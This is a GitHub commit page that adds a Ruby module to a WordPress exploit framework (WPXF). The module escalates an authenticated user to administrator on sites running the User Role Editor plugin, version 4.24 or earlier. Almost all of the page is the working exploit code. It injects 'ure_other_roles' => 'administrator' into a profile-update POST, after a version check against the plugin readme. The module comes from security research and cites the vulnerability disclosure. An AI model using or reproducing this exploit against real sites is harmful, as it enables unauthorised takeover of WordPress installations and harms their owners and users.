Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 51a1728

Browse files
committed
Add User Role Editor privilege escalation module
1 parent 7feab6c commit 51a1728

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Auxiliary::UserRoleEditorPrivilegeEscalation < Wpxf::Module
2+
include Wpxf::WordPress::User
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'User Role Editor <= 4.24 Privilege Escalation',
9+
desc: 'The User Role Editor plugin, in versions 4.24 and below, '\
10+
'allows authenticated users to escalate their user role to '\
11+
'that of an administrator.',
12+
author: [
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8432'],
17+
['URL', 'https://www.wordfence.com/blog/2016/04/user-role-editor-vulnerability/']
18+
],
19+
date: 'Apr 04 2016'
20+
)
21+
end
22+
23+
def check
24+
check_plugin_version_from_readme('user-role-editor', '4.25')
25+
end
26+
27+
def requires_authentication
28+
true
29+
end
30+
31+
def build_update_body
32+
fields = wordpress_user_profile_form_fields(session_cookie)
33+
return nil unless fields
34+
fields.merge('ure_other_roles' => 'administrator')
35+
end
36+
37+
def run
38+
return false unless super
39+
40+
body = build_update_body
41+
unless body
42+
emit_error 'Failed to build payload'
43+
return false
44+
end
45+
46+
res = execute_post_request(url: wordpress_url_admin_profile, body: body, cookie: session_cookie)
47+
unless res.code == 302 || res.code == 200
48+
emit_error "Request returned code #{res.code}"
49+
return false
50+
end
51+
52+
emit_success "User role for #{datastore['username']} has been escalated to administrator"
53+
true
54+
end
55+
end

0 commit comments

Comments
 (0)